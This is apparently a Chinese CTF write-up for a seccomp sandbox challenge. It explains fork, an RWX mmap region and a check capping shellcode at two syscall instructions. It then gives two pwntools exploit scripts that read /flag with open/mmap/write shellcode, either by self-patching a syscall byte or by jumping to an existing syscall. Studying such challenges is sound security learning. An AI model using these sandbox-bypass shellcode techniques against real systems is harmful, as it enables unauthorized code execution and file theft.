Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned int v4; // [rsp+0h] [rbp-10h]
init(argc, argv, envp);
v4 = fork();
if ( v4 )
{
printf("puchid: %d\n", v4);
mmap((void *)0x10000, 0x1000uLL, 7, 50, -1, 0LL);
read(0, (void *)0x10000, 0xC3uLL);
if ( (int)count_syscall_instructions(0x10000LL, 4096LL) > 2 )
exit(-1);
sandbox();
MEMORY[0x10000]();
return 0;
}
else
{
made_in_heaven();
puts("The time is Accelerating");
puts("MADE IN HEAVEN !!!!!!!!!!!!!!!!");
return 0;
}
}
沙箱题。
需要稍微了解一下 fork 的逻辑。fork 创造一个子进程,如果当前进程为子进程则返回 0,父进程则返回子进程的进程号。有趣的是父进程和子进程是一个“共存”的状态,比如下面这段 demo :
#include <unistd.h>
#include <stdio.h>
int main ()
{
pid_t fpid; //fpid表示fork函数返回的值
int count=0;
fpid=fork();
if (fpid < 0)
printf("error in fork!");
else if (fpid == 0) {
printf("i am the child process, my process id is %d\n",getpid());
printf("我是爹的儿子\n");
count++;
}
else {
printf("i am the parent process, my process id is %d\n",getpid());
printf("我是孩子他爹\n");
count++;
printf("%d", fpid);
}
printf("统计结果是: %d\n",count);
return 0;
}
将会输出:
i am the parent process, my process id is 1771
我是孩子他爹
1772统计结果是: 1
i am the child process, my process id is 1772
我是爹的儿子
统计结果是: 1
回到题目,前一个分支里的内容是父进程运行的,而后一个则是子进程运行的。
void made_in_heaven()
{
unsigned int v0; // eax
int i; // [rsp+8h] [rbp-8h]
for ( i = 0; i <= 13; ++i )
{
v0 = time(0LL);
srand(v0);
rand();
puts((&sacredMysteries)[i % 14]);
sleep(1u);
}
}
这个函数输出了一些内容,与解题没有什么关系,所以可以不用管子进程里的事情。
程序分配了一块内存:
mmap((void *)0x10000, 0x1000uLL, 7, 50, -1, 0LL);
几个参数:
0x10000,起始地址。
0x1000uLL,大小,字节数。
7,保护标志,表示映射内存的访问权限。7表示PROT_READ | PROT_WRITE | PROT_EXEC,即可读、可写、可执行。
50,映射标志,50表示MAP_PRIVATE | MAP_ANONYMOUS。MAP_PRIVATE表示创建一个私有的映射,MAP_ANONYMOUS表示映射不与任何文件关联。
-1,文件描述符,-1表示不与任何文件关联,因为使用了MAP_ANONYMOUS标志。
0,偏移量,表示从文件的哪个位置开始映射。由于不与文件关联,这里为0。
read(0, (void *)0x10000, 0xC3uLL);
向刚刚分配的内存中读入 0xC3 大小的内容。
if ( (int)count_syscall_instructions(0x10000LL, 4096LL) > 2 )
exit(-1);
__int64 __fastcall count_syscall_instructions(__int64 a1, __int64 a2)
{
unsigned int v3; // [rsp+1Ch] [rbp-14h]
unsigned __int64 i; // [rsp+20h] [rbp-10h]
v3 = 0;
for ( i = 0LL; i < a2 - 1; ++i )
{
if ( *(_BYTE *)(a1 + i) == 0xf && *(_BYTE *)(i + 1 + a1) == 5 )
++v3;
}
return v3;
}
count_syscall_instructions 函数用来计算你输入的命令中系统调用的个数(在 x86_64 上 syscall 的机器码是 0xf 0x5),这里限制最多只能写两个 syscall .
后面进入一个沙箱:
__int64 sandbox()
{
......
......
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
{
perror("prctl(NO_NEW_PRIVS)");
return 0xFFFFFFFFLL;
}
else if ( prctl(22, 2LL, &v1) )
{
perror("prctl(SECCOMP)");
return 0xFFFFFFFFLL;
}
else
{
return 0LL;
}
}
设置 NO_NEW_PRIVS 标志,该进程不再会获得新的权限;
启用 SECCOMP 模式,限制进程可以执行的系统调用。
可以通过 seccomp-tools 查看限制了哪些系统调用:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000000 A = sys_number
0001: 0x35 0x0a 0x00 0x40000000 if (A >= 0x40000000) goto 0012
0002: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 0013
0003: 0x15 0x09 0x00 0x00000001 if (A == write) goto 0013
0004: 0x15 0x08 0x00 0x00000002 if (A == open) goto 0013
0005: 0x15 0x07 0x00 0x00000004 if (A == stat) goto 0013
0006: 0x15 0x06 0x00 0x00000005 if (A == fstat) goto 0013
0007: 0x15 0x05 0x00 0x00000006 if (A == lstat) goto 0013
0008: 0x15 0x04 0x00 0x00000007 if (A == poll) goto 0013
0009: 0x15 0x03 0x00 0x00000008 if (A == lseek) goto 0013
0010: 0x15 0x02 0x00 0x00000009 if (A == mmap) goto 0013
0011: 0x15 0x01 0x00 0x0000000a if (A == mprotect) goto 0013
0012: 0x06 0x00 0x00 0x00000000 return KILL
0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW
这是一道非常典型的 ORW 题,也就是 Open-Read-Write. 虽然这里不能用 read,但可以将 flag 文件内容通过 mmap 映射到进程,再调用 write 输出 flag 内容。限制在于 shellcode 里面只能出现两个 syscall,所以需要想办法绕过这个限制:
法一:手动构造 0xf 0x5 实现 syscall
from pwn import *
io = process('./pwn')
# io = remote("0.0.0.0", 8888)
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
gdb.attach(io, 'b *0x10000')
sc = shellcraft.open("/flag")
sc += shellcraft.mmap(0xdead000, 0x1000, 1, 2, 3, 0)
sc += shellcraft.write(1, 0xdead000, 0x40)
print(asm(sc))
pad = asm('''
mov byte ptr[0x1006b], 0x5
''')
shellcode = pad + asm(sc)[:-1]
print(shellcode)
io.send(shellcode)
io.interactive()
法二:反复利用之前的 syscall,0x10023 里面恰好是一次 syscall,我们只需要 call 到那个位置就可以了。
from pwn import *
io = process('./pwn')
# io = remote("0.0.0.0", 8888)
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
gdb.attach(io, 'b *0x10000')
shellcode = shellcraft.open('/flag') + \
shellcraft.mmap(0, 0x1000, 'PROT_READ', 'MAP_SHARED', 'rax', 0) + \
'''
mov rdi, 1;
mov rsi, rax;
mov rdx, 50;
mov eax, 1;
mov rbx, 0x10023
call rbx
'''
print(shellcode)
print(asm(shellcode))
io.send(asm(shellcode))
io.interactive()
二编:这题是个小丑题,看似开了沙箱白名单实际上屁用没有,用最朴实无华的 shellcode 一把梭都能过……